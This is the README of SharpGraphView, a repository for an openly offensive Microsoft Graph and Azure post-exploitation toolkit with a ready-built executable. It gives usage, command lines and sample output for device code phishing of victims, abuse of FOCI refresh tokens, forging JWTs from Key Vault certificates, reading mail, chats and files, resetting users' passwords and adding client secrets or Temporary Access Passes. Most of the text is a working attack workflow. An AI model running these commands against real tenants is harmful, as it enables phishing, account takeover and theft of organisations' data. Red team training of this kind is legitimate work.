├── README.md ├── SharpGraphView.sln └── SharpGraphView ├── App.config ├── Config.cs ├── FodyWeavers.xml ├── FodyWeavers.xsd ├── Program.cs ├── Properties └── AssemblyInfo.cs ├── SharpGraphView.csproj ├── bin └── Release │ ├── Microsoft.Bcl.AsyncInterfaces.xml │ ├── Microsoft.Identity.Client.Extensions.Msal.xml │ ├── Microsoft.Identity.Client.xml │ ├── Microsoft.IdentityModel.Abstractions.xml │ ├── Microsoft.IdentityModel.JsonWebTokens.xml │ ├── Microsoft.IdentityModel.Logging.xml │ ├── Microsoft.IdentityModel.Tokens.xml │ ├── Microsoft.Rest.ClientRuntime.Azure.xml │ ├── Microsoft.Rest.ClientRuntime.xml │ ├── Newtonsoft.Json.xml │ ├── SharpGraphView.exe │ ├── SharpGraphView.exe.config │ ├── SharpGraphView.pdb │ ├── System.Buffers.xml │ ├── System.ClientModel.xml │ ├── System.Diagnostics.DiagnosticSource.xml │ ├── System.IO.FileSystem.AccessControl.xml │ ├── System.IdentityModel.Tokens.Jwt.xml │ ├── System.Memory.Data.xml │ ├── System.Memory.xml │ ├── System.Numerics.Vectors.xml │ ├── System.Runtime.CompilerServices.Unsafe.xml │ ├── System.Security.AccessControl.xml │ ├── System.Security.Cryptography.ProtectedData.xml │ ├── System.Security.Principal.Windows.xml │ ├── System.Text.Encodings.Web.xml │ ├── System.Text.Json.xml │ ├── System.Threading.Tasks.Extensions.xml │ └── System.ValueTuple.xml ├── obj ├── Debug │ ├── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ └── SharpGraphView.csproj.AssemblyReference.cache └── Release │ ├── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs │ ├── Costura │ ├── 0F467F9BB142FD6BB8D3008B313DF15254825B22.costura.microsoft.rest.clientruntime.azure.dll.compressed.compressed │ ├── 17A49D2B673E1C9F1CF0416ACE86102AD97D0B93.costura.system.clientmodel.dll.compressed.compressed │ ├── 180A7BAAFBC820A838BBACA434032D9D33CCEEBE.costura.system.runtime.compilerservices.unsafe.dll.compressed.compressed │ ├── 18EA7BD41D31247148ABF184527C9368A26F39E7.costura.system.io.filesystem.accesscontrol.dll.compressed.compressed │ ├── 1E76E6099570EDE620B76ED47CF8D03A936D49F8.costura.newtonsoft.json.dll.compressed.compressed │ ├── 2242627282F9E07E37B274EA36FAC2D3CD9C9110.costura.system.threading.tasks.extensions.dll.compressed.compressed │ ├── 28465FD34680A082506F160107F350B46140A1AA.costura.system.security.accesscontrol.dll.compressed.compressed │ ├── 2F410A0396BC148ED533AD49B6415FB58DD4D641.costura.system.buffers.dll.compressed.compressed │ ├── 39656DD256F63A30C5D92D222459DDCB9BD090B8.costura.microsoft.azure.keyvault.cryptography.dll.compressed.compressed │ ├── 3B34715164D27A039AC3E7966D4F7F1888098726.costura.system.diagnostics.diagnosticsource.dll.compressed.compressed │ ├── 3BB0525BE6130AAFA2A14A682809A83728C2BE0B.costura.microsoft.bcl.asyncinterfaces.dll.compressed.compressed │ ├── 3C5C5DF5F8F8DB3F0A35C5ED8D357313A54E3CDE.costura.system.memory.dll.compressed.compressed │ ├── 3C8990726CDD9EC04AE001E32DE7B3D9DD7CA1AB.costura.system.management.automation.dll.compressed.compressed │ ├── 3D216458740AD5CB05BC5F7C3491CDE44A1E5DF0.costura.system.numerics.vectors.dll.compressed.compressed │ ├── 4B0229A22589FE75D6C83724B77DE4024E25763D.costura.azure.identity.dll.compressed.compressed │ ├── 5F49CE223A6FD3DE92B15808166DD2FADF42382B.costura.system.security.cryptography.protecteddata.dll.compressed.compressed │ ├── 6AFEA53A124309753508996A708FFDFE4A1EBF32.costura.microsoft.azure.keyvault.core.dll.compressed.compressed │ ├── 6C6000A5EAF8579850AB82A89BD6268776EB51AD.costura.costura.pdb.compressed.compressed │ ├── 7D8264BE4FCB17F81ACB8B1ADD980CD96A6FD856.costura.microsoft.bcl.asyncinterfaces.dll.compressed.compressed │ ├── 85DC92EDD4B0049ED9049E075C4DEF8A3D64E43B.costura.system.diagnostics.diagnosticsource.dll.compressed.compressed │ ├── 8BEB16D082D7A1D2167AECA767AC4439B5807A01.costura.microsoft.identitymodel.abstractions.dll.compressed.compressed │ ├── 94C56BFAC87ED8E2E4CD19B16AD207F21ABE7B62.costura.azure.core.dll.compressed.compressed │ ├── 9A5BE1FCF410FE5934D720329D36A2377E83747E.costura.system.security.principal.windows.dll.compressed.compressed │ ├── 9DABAA985AB92C2B5F8C3615FC35F7AC1D0CD8C6.costura.system.identitymodel.tokens.jwt.dll.compressed.compressed │ ├── A9A36A7FF7463BA945E61D1AD1585439C5E0A84C.costura.system.runtime.compilerservices.unsafe.dll.compressed.compressed │ ├── B1144A892338B90D6FC31704F7828590EDC34F58.costura.system.text.json.dll.compressed.compressed │ ├── B3EE776373E226C8CF3201157E5DF9F966266B15.costura.system.memory.data.dll.compressed.compressed │ ├── CC35F06B54A4B09C3FFEC6F2E9EA22293F5F5529.costura.microsoft.identitymodel.jsonwebtokens.dll.compressed.compressed │ ├── CF7E2D61A33A4DFE686C96EA75E469CB8D9D68BD.costura.microsoft.rest.clientruntime.dll.compressed.compressed │ ├── D1664731719E85AAD7A2273685D77FEB0204EC98.costura.system.valuetuple.dll.compressed.compressed │ ├── E27922C42135475FB0DB26D9816101B549D65AE3.costura.system.text.encodings.web.dll.compressed.compressed │ ├── ECE1552E05009275FD9A34872D627C6CB5DF705B.costura.microsoft.identitymodel.tokens.dll.compressed.compressed │ ├── EF2DD3C4DCDEAA87724FCC8D888538D77BBCA471.costura.microsoft.identity.client.extensions.msal.dll.compressed.compressed │ ├── F1F25C01F6ACF33BDD62C4F82D3EF078E76F0906.costura.costura.dll.compressed.compressed │ ├── F936A3BAC7ADDBD8D3AB46827AC9F306F93042E6.costura.microsoft.identity.client.dll.compressed.compressed │ └── FA8958681397C389855CAB28F0AE17FB0B54DE59.costura.microsoft.identitymodel.logging.dll.compressed.compressed │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── SharpGra.20B14D14.Up2Date │ ├── SharpGraphView.csproj.AssemblyReference.cache │ ├── SharpGraphView.csproj.CoreCompileInputs.cache │ ├── SharpGraphView.csproj.FileListAbsolute.txt │ ├── SharpGraphView.csproj.Fody.CopyLocal.cache │ ├── SharpGraphView.exe │ └── SharpGraphView.pdb └── packages.config /README.md: -------------------------------------------------------------------------------- 1 | # SharpGraphView 2 | 3 | ## READ-ONLY: Please see [Graphpython](https://github.com/mlcsec/Graphpython) for a more comprehensive solution covering everything from SharpGraphView and much more 4 | 5 | Sharp post-exploitation toolkit providing modular access to the Microsoft Graph API (*graph.microsoft.com*) for cloud and red team operations. 6 | 7 | Created during the [Advanced Azure Cloud Attacks Lab](https://www.alteredsecurity.com/azureadvanced). Inspired by [GraphRunner](https://github.com/dafthack/GraphRunner) and [TokenTactics](https://github.com/rvrsh3ll/TokenTactics). 8 | 9 | 10 | ## Index 11 | 12 | - [Updates](#Updates) 13 | - [Build](#Build) 14 | - [Usage](#Usage) 15 | - [Flags](#Flags) 16 | - [Methods](#Methods) 17 | - [Auth Methods](#Auth-methods) 18 | - [Post-Auth Methods](#post-auth-methods) 19 | - [Demo](#Demo) 20 | - [Get-GraphTokens](#Get-GraphTokens) 21 | - [Invoke-RefreshToAzureManagementToken](#Invoke-RefreshToAzureManagementToken) 22 | - [Invoke-RefreshToMSGraphToken](#Invoke-RefreshToMSGraphToken) 23 | - [Invoke-RefreshToVaultToken](#Invoke-RefreshToVaultToken) 24 | - [Invoke-CertToAccessToken](#Invoke-CertToAccessToeken) 25 | - [Get-TokenScope](#Get-TokenScope) 26 | - [New-SignedJWT](#New-SignedJWT) 27 | - [Observations](#Observations) 28 | - [Common HTTP Error Codes](#Common-HTTP-Error-Codes) 29 | 30 |
31 | 32 | # Build 33 | 34 | Compiled executable in `bin/Release` is ready to go. 35 | 36 | If loading and building for the first time select the 'Restore' button in VS (may need to add and use [nuget.org](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-visual-studio#package-sources) as a package source then update any packages via `References` > `Manage NuGet Packages...` > `Updates`) 37 | 38 | ![nuget-restore](https://github.com/mlcsec/SharpGraphView/assets/47215311/303148b7-bad8-4243-9deb-f8fe2cd44496) 39 | 40 | 41 | The following packages are required: 42 | 43 | - Newtonsoft.Json 44 | - Costura.Fody 45 | 46 |
47 | 48 | # Usage 49 | 50 | > All methods and flags are case-insensitve. Method must be the first argument, flags are position-independent. 51 | 52 | ``` 53 | SharpGraphView by @mlcsec 54 | 55 | Usage: 56 | 57 | SharpGraphView.exe [Method] [-Domain ] [-Tenant ] [-Id ] [-Select ] [-Query ] [-Search -Entity ] [-Token ] [-Cert ] 58 | 59 | Flags: 60 | 61 | -Token - Microsoft Graph access token or refresh token for FOCI abuse 62 | -Cert - X509Certificate path 63 | -Domain - Target domain 64 | -Tenant - Target tenant ID 65 | -Id - ID of target object 66 | -Key - Azure Key Vault name (New-SignedJWT) 67 | -Select - Filter output for comma seperated properties 68 | -Query - Raw API query (GET request only) 69 | -Search - Search string 70 | -Entity - Search entity [driveItem (OneDrive), message (Mail), chatMessage (Teams), site (SharePoint), event (Calenders)] 71 | -help - Show help 72 | 73 | Auth: 74 | 75 | Get-GraphTokens - Obtain graph token via device code phish (saved to graph_tokens.txt) 76 | Get-TenantID - Get tenant ID for target domain 77 | Get-TokenScope - Get scope of supplied token 78 | Invoke-RefreshToMSGraphToken - Convert refresh token to Micrsoft Graph token (saved to new_graph_tokens.txt) 79 | Invoke-RefreshToAzureManagementToken - Convert refresh token to Azure Management token (saved to az_tokens.txt) 80 | Invoke-RefreshToVaultToken - Convert refresh token to Azure Vault token (saved to vault_tokens.txt) 81 | Invoke-CertToAccessToken - Convert Azure Application certificate to JWT access token (saved to cert_tokens.txt) 82 | New-SignedJWT - Construct JWT and sign using Key Vault certificate (Azure Key Vault access token required) then generate Azure Management (ARM) token 83 | 84 | Post-Auth: 85 | 86 | Get-CurrentUser - Get current user profile 87 | Get-CurrentUserActivity - Get recent actvity and actions of current user 88 | 89 | Get-OrgInfo - Get information relating to the target organisation 90 | Get-Domains - Get domain objects 91 | Get-User - Get all users (default) or target user (-id) 92 | Get-UserProperties - Get current user properties (default) or target user (-id) 93 | Get-UserGroupMembership - Get group memberships for current user (default) or target user (-id) 94 | Get-UserTransitiveGroupMembership - Get transitive group memberships for current user (default) or target user (-id) 95 | Get-Group - Get all groups (default) or target group (-id) 96 | Get-GroupMember - Get all members of target group 97 | Get-AppRoleAssignments - Get application role assignments for current user (default) or target user (-id) 98 | Get-ConditionalAccessPolicy - Get conditional access policy properties 99 | Get-PersonalContacts - Get contacts of the current user 100 | Get-CrossTenantAccessPolicy - Get cross tentant access policy properties 101 | Get-PartnerCrossTenantAccessPolicy - Get partner cross tenant access policy 102 | Get-UserChatMessages - Get ALL messages from all chats for target user (Chat.Read.All) 103 | Get-AdministrativeUnitMember - Get members of administrative unit 104 | Get-OneDriveFiles - Get all accessible OneDrive files for current user (default) or target user (-id) 105 | Get-UserPermissionGrants - Get permissions grants of current user (default) or target user (-id) 106 | Get-oauth2PermissionGrants - Get oauth2 permission grants for current user (default) or target user (-id) 107 | Get-Messages - Get all messages in signed-in user's mailbox (default) or target user (-id) 108 | Get-TemporaryAccessPassword - Get TAP details for current user (default) or target user (-id) 109 | Get-Password - Get passwords registered to current user (default) or target user (-id) 110 | 111 | List-AuthMethods - List authentication methods for current user (default) or target user (-id) 112 | List-DirectoryRoles - List all directory roles activated in the tenant 113 | List-Notebooks - List current user notebooks (default) or target user (-id) 114 | List-ConditionalAccessPolicies - List conditional access policy objects 115 | List-ConditionalAuthenticationContexts - List conditional access authentication context 116 | List-ConditionalNamedLocations - List conditional access named locations 117 | List-SharePointRoot - List root SharePoint site properties 118 | List-SharePointSites - List any available SharePoint sites 119 | List-ExternalConnections - List external connections 120 | List-Applications - List all Azure Applications 121 | List-ServicePrincipals - List all service principals 122 | List-Tenants - List tenants 123 | List-JoinedTeams - List joined teams for current user (default) or target user (-id) 124 | List-Chats - List chats for current user (default) or target user (-id) 125 | List-ChatMessages - List messages in target chat (-id) 126 | List-Devices - List devices 127 | List-AdministrativeUnits - List administrative units 128 | List-OneDrives - List current user OneDrive (default) or target user (-id) 129 | List-RecentOneDriveFiles - List current user recent OneDrive files 130 | List-SharedOneDriveFiles - List OneDrive files shared with the current user 131 | 132 | Invoke-Search - Search for string within entity type (driveItem, message, chatMessage, site, event) 133 | Find-PrivilegedRoleUsers - Find users with privileged roles assigned 134 | Invoke-CustomQuery - Custom GET query to target Graph API endpoint 135 | Update-UserPassword - Update the passwordProfile of the target user (NewUserS3cret@Pass!) 136 | Add-ApplicationPassword - Add client secret to target application 137 | Add-UserTAP - Add new Temporary Access Password (TAP) to target user 138 | 139 | Examples: 140 | 141 | SharpGraphView.exe Get-GraphTokens 142 | SharpGraphView.exe Invoke-RefreshToAzureManagementToken -tenant -token 143 | SharpGraphView.exe Get-User -id john.doe@vulncorp.onmicrosoft.com -token .\token.txt -select displayname,id 144 | SharpGraphView.exe Get-UserGroupMembership -token eyJ0eXAiOiJKV1QiLC... 145 | SharpGraphView.exe List-RecentOneDriveFiles -token .\token.txt 146 | SharpGraphView.exe Invoke-Search -search "password" -entity driveItem -token eyJ0eXAiOiJKV1QiLC... 147 | SharpGraphView.exe Invoke-CustomQuery -Query "https://graph.microsoft.com/v1.0/sites/{siteId}/drives" -token .\token.txt 148 | ``` 149 |
150 | 151 | ## Flags 152 | 153 | #### -Token 154 | 155 | Microsoft Graph access token (**REQUIRED** for all methods except `Get-GraphTokens`) or refresh token for FOCI abuse (`Invoke-Refresh*` methods) 156 | 157 | ```powershell 158 | PS > .\SharpGraphView.exe Get-Group -token .\token.txt 159 | PS > .\SharpGraphView.exe Get-Group -token eyJ0eXAiOiJKV1QiLCJ... 160 | 161 | ``` 162 |
163 | 164 | #### -Cert 165 | 166 | Path to Azure Application X509Certificate (**REQUIRED** for `Invoke-CertToAccessToken`): 167 | 168 | ```powershell 169 | PS > .\SharpGraphView.exe Invoke-CertToAccessToken -tenant -cert .\cert.pfx -id 170 | ``` 171 | 172 |
173 | 174 | #### -Domain 175 | 176 | Target domain name (**REQUIRED** for `Get-TenantID`) 177 | 178 | ```powershell 179 | PS > .\SharpGraphView.exe Get-TenantID -domain targetcorp.domain 180 | ``` 181 |
182 | 183 | #### -Tenant 184 | 185 | Target Tenant ID (**REQUIRED** for `Invoke-Refresh*` methods) 186 | 187 | ```powershell 188 | PS > .\SharpGraphView.exe Invoke-RefreshToAzureManagementToken -token refreshtoken.txt -tenant fbf34b9d-6375-4137-ae1f-8cb12df29bb5 189 | ``` 190 |
191 | 192 | #### -ID 193 | 194 | ID of target object 195 | - can be the user ID or User Principal Name for user related methods 196 | - use the object ID for all others (groups, admin units, etc.) 197 | ```powershell 198 | PS > .\SharpGraphView.exe Get-User -id 5a48ab0f-c546-441f-832a-8ab48348e372 -token .\token.txt 199 | PS > .\SharpGraphView.exe Get-User -id JohnDoe@TargetCorp1.onmicrosoft.com -token .\token.txt 200 | ``` 201 |
202 | 203 | #### -Key 204 | 205 | Key Vault certificate key name (**REQUIRED** for `New-SignedJWT` method) e.g. take the following Key Vault Certificate URL endpoint: 206 | ``` 207 | https://devappvault.vault.azure.net/certificates/DevAppCert 208 | ``` 209 | The -Key value would be `DevAppCert` 210 | 211 | ```powershell 212 | .\SharpGraphView.exe New-SignedJWT -id -tenant -query https://devappvault.vault.azure.net -key DevAppCert -token 213 | ``` 214 | 215 |
216 | 217 | #### -Select 218 | 219 | Filter output and only display the supplied comma separated properties: 220 | ```powershell 221 | PS > .\SharpGraphView.exe Get-Group -token .\token.txt -select displayname,description 222 | 223 | [*] Get-Group 224 | value: [ 225 | { 226 | "displayName": "DevOps", 227 | "description": "Members of this group will have access to DevOps resources" 228 | }, 229 | ... 230 | ``` 231 |
232 | 233 | #### -Query 234 | 235 | Raw API query (GET request endpoints only currently) 236 | - useful for enumerating drive items and other resources with variable endpoints: 237 | 238 | ``` 239 | GET /drives/{drive-id}/items/{item-id}/children 240 | GET /groups/{group-id}/drive/items/{item-id}/children 241 | GET /me/drive/items/{item-id}/children 242 | GET /sites/{site-id}/drive/items/{item-id}/children 243 | GET /users/{user-id}/drive/items/{item-id}/children 244 | ``` 245 | Example below returning select user details from `/me` endpoint: 246 | ```powershell 247 | PS > .\SharpGraphView.exe invoke-customquery -query https://graph.microsoft.com/v1.0/me -token .\token.txt -select displayname,userprincipalname 248 | 249 | [*] Invoke-CustomQuery 250 | displayName: John Doe 251 | userPrincipalName: JohnDoe@TargetCorp1.onmicrosoft.com 252 | ``` 253 |
254 | 255 | #### -Search & -Entity 256 | 257 | Search string, e.g. "password" 258 | - need to add `queryTemplate` option to filter by properties (e.g. `{searchTerms} CreatedBy:` etc.) using [KQL](https://learn.microsoft.com/en-us/sharepoint/dev/general-development/keyword-query-language-kql-syntax-reference) 259 | 260 | Target resource (entity) to search e.g. driveItem (OneDrive), message (Mail), chatMessage (Teams), site (SharePoint), event (Calenders) 261 | - more details can be found within the [Microsoft Graph API docs](https://learn.microsoft.com/en-us/graph/api/resources/searchrequest?view=graph-rest-1.0) 262 | ```powershell 263 | PS > .\SharpGraphView.exe invoke-search -search "credentials" -entity driveItem -token .\token.txt 264 | PS > .\SharpGraphView.exe invoke-search -search "password" -entity message -token .\token.txt 265 | ``` 266 | 267 |
268 |
269 | 270 | ## Methods 271 | 272 | ### Auth Methods: 273 | 274 | | Command | Description | 275 | |------------------------------------------|------------------------------------------------| 276 | | **Get-GraphTokens** | Get graph token via device code phish (saved to _graph_tokens.txt_) | 277 | | **Get-TenantID** -Domain \ | Get tenant ID for target domain | 278 | | **Get-TokenScope** -Token \ | Get scope for the supplied token| 279 | | **Invoke-RefreshToMSGraphToken** -Token \ -Tenant \ | Convert refresh token to Microsoft Graph token (saved to _new_graph_tokens.txt_) | 280 | | **Invoke-RefreshToAzureManagementToken** -Token \ -Tenant \ | Convert refresh token to Azure Management token (saved to _az_tokens.txt_)| 281 | |**Invoke-RefreshToVaultToken** -Token \ | Convert refresh token to Azure Vault token (saved to _vault_tokens.txt_)| 282 | |**Invoke-CertToAccessToken** -Cert \ -ID \ -Tenant \| Convert Azure Application certificate to JWT access token| 283 | |**New-SignedJWT** -ID \ -Tenant \ -Query \ -key \ -Token \ |Construct JWT and sign using Key Vault certificate (Azure Key Vault access token required) then generate Azure Management (ARM) token| 284 | 285 | ### Post-Auth Methods: 286 | 287 | > All methods are subject to the assigned roles and permissions for the current access account 288 | 289 | - The `-token` flag is **REQUIRED** for all post-authentication methods. 290 | - Flags in square brackets/italics below are optional arguments. Flags without are **REQUIRED**. 291 | 292 | 293 | | Method | Description | 294 | |------------------------------------------|-----------------------------------------------------------------| 295 | | **Get-CurrentUser** | Get current user profile | 296 | | **Get-CurrentUserActivity** | Get recent activity and actions of current user | 297 | | **Get-OrgInfo** | Get information relating to the target organization | 298 | | **Get-Domains** | Get domain objects | 299 | | **Get-User** _[-ID ]_ | Get all users (default) or target user (-id) | 300 | | **Get-UserProperties** _[-ID ]_ | Get current user properties (default) or target user (-id) !WARNING! loud/slow due to 403 errors when grouping properties | 301 | | **Get-UserGroupMembership** _[-ID ]_ | Get group memberships for current user (default) or target user (-id) | 302 | | **Get-UserTransitiveGroupMembership** _[-ID ]_ | Get transitive group memberships for current user (default) or target user (-id) | 303 | | **Get-Group** _[-ID \]_ | Get all groups (default) or target group (-id) | 304 | | **Get-GroupMember** -ID \ | Get all members of target group | 305 | | **Get-AppRoleAssignments** _[-ID ]_ | Get application role assignments for current user (default) or target user (-id) | 306 | | **Get-ConditionalAccessPolicy** -ID \ | Get conditional access policy properties | 307 | | **Get-PersonalContacts** | Get contacts of the current user | 308 | | **Get-CrossTenantAccessPolicy** | Get cross tenant access policy properties | 309 | | **Get-PartnerCrossTenantAccessPolicy** | Get partner cross tenant access policy | 310 | | **Get-UserChatMessages** -ID \ | Get all messages from all chats for target user | 311 | | **Get-AdministrativeUnitMember** -ID \ | Get members of administrative unit | 312 | | **Get-OneDriveFiles** _[-ID \]_ | Get all accessible OneDrive files for current user (default) or target user (-id) | 313 | | **Get-UserPermissionGrants** _[-ID \]_ | Get permissions grants of current user (default) or target user (-id) | 314 | | **Get-oauth2PermissionGrants** _[-ID \]_ | Get oauth2 permission grants for current user (default) or target user (-id) | 315 | | **Get-Messages** _[-ID \]_ | Get all messages in signed-in user's mailbox (default) or target user (-id) | 316 | | **Get-TemporaryAccessPassword** _[-ID \]_ | Get TAP details for current user (default) or target user (-id) | 317 | | **Get-Password** _[-ID \]_ | Get passwords registered to current user (default) or target user (-id) | 318 | | **List-AuthMethods** _[-ID \]_ | List authentication methods for current user (default) or target user (-id) | 319 | | **List-DirectoryRoles** | List all directory roles activated in the tenant | 320 | | **List-Notebooks** _[-ID \]_ | List current user notebooks (default) or target user (-id) | 321 | | **List-ConditionalAccessPolicies** | List conditional access policy objects | 322 | | **List-ConditionalAuthenticationContexts** | List conditional access authentication context | 323 | | **List-ConditionalNamedLocations** | List conditional access named locations | 324 | | **List-SharePointRoot** | List root SharePoint site properties | 325 | | **List-SharePointSites** | List any available SharePoint sites | 326 | | **List-ExternalConnections** | List external connections | 327 | | **List-Applications** | List all Azure Applications | 328 | | **List-ServicePrincipals** | List all service principals | 329 | | **List-Tenants** | List tenants | 330 | | **List-JoinedTeams** _[-ID \]_ | List joined teams for current user (default) or target user (-id)| 331 | | **List-Chats** _[-ID \]_ | List chats for current user (default) or target user (-id) | 332 | | **List-Devices** | List devices | 333 | | **List-AdministrativeUnits** | List administrative units | 334 | | **List-OneDrives** _[-ID \]_ | List current user OneDrive (default) or target user (-id) | 335 | | **List-RecentOneDriveFiles** | List current users recent OneDrive files | 336 | | **List-SharedOneDriveFiles** | List OneDrive files shared with the current user | 337 | | **Invoke-Search** -Search \ -Entity \ | Search for string within entity type (driveItem, message, chatMessage, site, event) | 338 | | **Find-PrivilegedRoleUsers** | Find users with privileged roles assigned | 339 | | **Invoke-CustomQuery** -Query \ | Custom GET query to target Graph API endpoint e.g. `https://graph.microsoft.com/v1.0/me` | 340 | | **Update-UserPassword** -ID \ | Update the passwordProfile of the target user (NewUserS3cret@Pass!) | 341 | |**Add-ApplicationPassword** -ID \ |Add client secret to target application| 342 | |**Add-UserTAP** -ID \ |Add new Temporary Access Password (TAP) to target user| 343 | 344 | 345 | ### Coming soon: 346 | 347 | > More commands and options to be added 348 | 349 | | Method | Description |Endpoints | 350 | |------------------------------------------|-----------------------------------------------------------------|-----------------------------------------------| 351 | | Add-GroupMember | Add user to target group | `POST /groups/{group-id}/members/$ref` | 352 | | Create-User | Create new malicious user | `POST /users` | 353 | 354 | Addtional `Invoke-RefreshTo...` methods can be ported from [TokenHandler.ps1](https://github.com/rvrsh3ll/TokenTactics/blob/main/modules/TokenHandler.ps1). 355 | 356 |
357 |
358 | 359 | # Demo 360 | 361 | ## Get-GraphTokens 362 | 363 | Generates a sign-in message along with a unique code to be sent to the victim (device code phishing). Monitors for authentication, with a timeout set to 15 minutes. Upon successful authentication, a valid token is returned: 364 | 365 | ![getgraphtokens-edit-crop](https://github.com/mlcsec/SharpGraphView/assets/47215311/65de3da1-f40a-46c2-959c-f99885fd80cc) 366 | 367 | 368 | The Microsoft Graph API access token can then be copied to a local file or directly parsed to the `-token` parameter: 369 | 370 | ```powershell 371 | PS > .\SharpGraphView.exe get-usergroupmembership -token .\token.txt 372 | 373 | [*] Get-UserGroupMembership 374 | value: [ 375 | { 376 | "@odata.type": "#microsoft.graph.directoryRole", 377 | "id": "5a48ab0f-c546-441f-832a-8ab48348e372", 378 | "deletedDateTime": null, 379 | "description": "Can read everything that a Global Administrator can, but not update anything.", 380 | "displayName": "Global Reader", 381 | "roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451" 382 | } 383 | ] 384 | ``` 385 | 386 | ## Invoke-RefreshToAzureManagementToken 387 | 388 | FOCI can be abused to obtain a valid Azure Management token using the refresh token obtained from `Get-GraphTokens`. Use `Get-TenantID -domain ` to get the tenant ID of the target domain. 389 | 390 | ![invokemsgraphrefresh-edit-crop](https://github.com/mlcsec/SharpGraphView/assets/47215311/46ca692d-d48c-4262-9f47-6ae0b6f004f0) 391 | 392 | 393 | The Azure Management token can then be used with `Connect-AzAccount` to access Azure resources via the Azure Management (Az) PowerShell module: 394 | ```powershell 395 | PS > $aztoken = "eyJ0eXAiOiJKV1QiLCJ..." 396 | 397 | PS > Connect-AzAccount -AccessToken $aztoken -AccountId JohnDoe@TargetCorp1.onmicrosoft.com 398 | 399 | Account SubscriptionName TenantId Environment 400 | ------- ---------------- -------- ----------- 401 | JohnDoe@TargetCorp1.onmicrosoft.com TargetCorp1 fbf34b9d-6375-4137-ae1f-8cb12df29bb5 AzureCloud 402 | ``` 403 | 404 | ## Invoke-RefreshToMSGraphToken 405 | 406 | FOCI can be abused again to obtain a new Microsoft Graph token if the original token has expired: 407 | 408 | ```powershell 409 | PS > .\SharpGraphView.exe Invoke-RefreshTokenToMSGraphToken -token .\refreshtoken.txt -tenant 410 | ``` 411 | 412 | ## Invoke-RefreshToVaultToken 413 | 414 | An Azure Vault token can be obtained in a similar fashion: 415 | 416 | ```powershell 417 | PS > .\SharpGraphView.exe invoke-refreshtovaulttoken -token 418 | 419 | [*] Invoke-RefreshToVaultToken 420 | 421 | [+] Token Obtained! 422 | [*] token_type: Bearer 423 | [*] scope: https://vault.azure.net/user_impersonation https://vault.azure.net/.default 424 | [*] expires_in: 5164 425 | [*] ext_expires_in: 5164 426 | [*] access_token: eyJ0eXAiOiJKV1QiL... 427 | [*] refresh_token: 0.AUoAQlq91mV... 428 | [*] foci: 1 429 | [*] id_token: eyJ0eXAiOiJKV1Q... 430 | 431 | [+] Token information written to 'vault_tokens.txt'. 432 | 433 | # connect with new Vault token 434 | PS > Connect-AzAccount -AccessToken -KeyVaultAccessToken -AccountId 435 | ``` 436 | 437 | ## Invoke-CertToAccessToken 438 | 439 | Obtain an access token from a valid Azure Application certificate then authenticate as the service principal: 440 | 441 | ```powershell 442 | PS > .\SharpGraphView.exe Invoke-CertToAccessToken -tenant -cert .\cert.pfx -id 443 | 444 | [*] Invoke-CertToAccessToken 445 | 446 | [+] Token Obtained! 447 | [*] token_type: Bearer 448 | [*] expires_in: 3599 449 | [*] ext_expires_in: 3599 450 | [*] access_token: eyJ0eXAiOiJKV1QiLCJub2... 451 | 452 | [+] Token information written to 'cert_tokens.txt'. 453 | ``` 454 | 455 | The access token can then be used as normal with the `-Token` flag. 456 | 457 | ## Get-TokenScope 458 | 459 | Display the scope of the access token: 460 | 461 | ```powershell 462 | PS > .\SharpGraphView.exe get-tokenscope -token eyJ0eXAiOiJKV... 463 | 464 | [*] Get-TokenScope 465 | AuditLog.Read.All 466 | Calendar.ReadWrite 467 | Calendars.Read.Shared 468 | Calendars.ReadWrite 469 | Contacts.ReadWrite 470 | DataLossPreventionPolicy.Evaluate 471 | Directory.AccessAsUser.All 472 | Directory.Read.All 473 | Files.Read 474 | Files.Read.All 475 | Files.ReadWrite.All 476 | Group.Read.All 477 | Group.ReadWrite.All 478 | InformationProtectionPolicy.Read 479 | Mail.ReadWrite 480 | Mail.Send 481 | Notes.Create 482 | Organization.Read.All 483 | People.Read 484 | People.Read.All 485 | Printer.Read.All 486 | PrintJob.ReadWriteBasic 487 | SensitiveInfoType.Detect 488 | SensitiveInfoType.Read.All 489 | SensitivityLabel.Evaluate 490 | Tasks.ReadWrite 491 | TeamMember.ReadWrite.All 492 | TeamsTab.ReadWriteForChat 493 | User.Read.All 494 | User.ReadBasic.All 495 | User.ReadWrite 496 | Users.Read 497 | ``` 498 | 499 | ## New-SignedJWT 500 | 501 | Construct new JWT token with the details extracted from Key Vault Certificate and sign it. Requires the following permissions: 502 | ``` 503 | Microsoft.KeyVault/vaults/certificates/read 504 | Microsoft.KeyVault/vaults/keys/read 505 | Microsoft.KeyVault/vaults/keys/sign/action 506 | ``` 507 | Generating a signed JWT and request an Azure Management token (ARM): 508 | ```powershell 509 | PS > .\SharpGraphView.exe New-SignedJWT -id f9f75aac-fe0a-47e6-bfd3-98d8af327d8a -tenant fbf34b9d-6375-4137-ae1f-8cb12df29bb5 -query https://DevAppVault.vault.azure.net -key DevAppCert -token $vault_token 510 | 511 | [*] New-SignedJWT 512 | 513 | [+] Certificate Details Obtained! 514 | kid: https://devappvault.vault.azure.net/keys/DevAppCert/2fb10001e7f0474916dec596b3818d56 515 | x5t: 9xdFz3zEX8jJax-ihve1h-GhmQa 516 | 517 | [+] Forged JWT: 518 | eyJ4NXQiOiJxNnhGejN6RVg4akpheC1paHZlMWgtUmR1TVUiLCJ0eXAiOi... 519 | 520 | [+] Azure Management Token Obtained! 521 | [*] Application ID: f9f75aac-fe0a-47e6-bfd3-98d8af327d8a 522 | [*] Tenant ID: fbf34b9d-6375-4137-ae1f-8cb12df29bb5 523 | [*] Scope: https://management.azure.com/.default 524 | [*] token_type: Bearer 525 | [*] expires_in: 3599 526 | [*] ext_expires_in: 3599 527 | [*] access_token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkwxS2ZLRklfam5YYndXYzI... 528 | ``` 529 | The returned management token can then be used to authenticate to Azure: 530 | ```powershell 531 | PS > Connect-AzAccount -AccessToken eyJ0eXAiOi... -AccountId f9f75aac-fe0a-47e6-bfd3-98d8af327d8a 532 | 533 | Account SubscriptionName TenantId Environment 534 | ------- ---------------- -------- ----------- 535 | f9f75aac-fe0a-47e6-bfd3-98d8af327d8a TargetCorp-1 fbf34b9d-6375-4137-ae1f-8cb12df29bb5 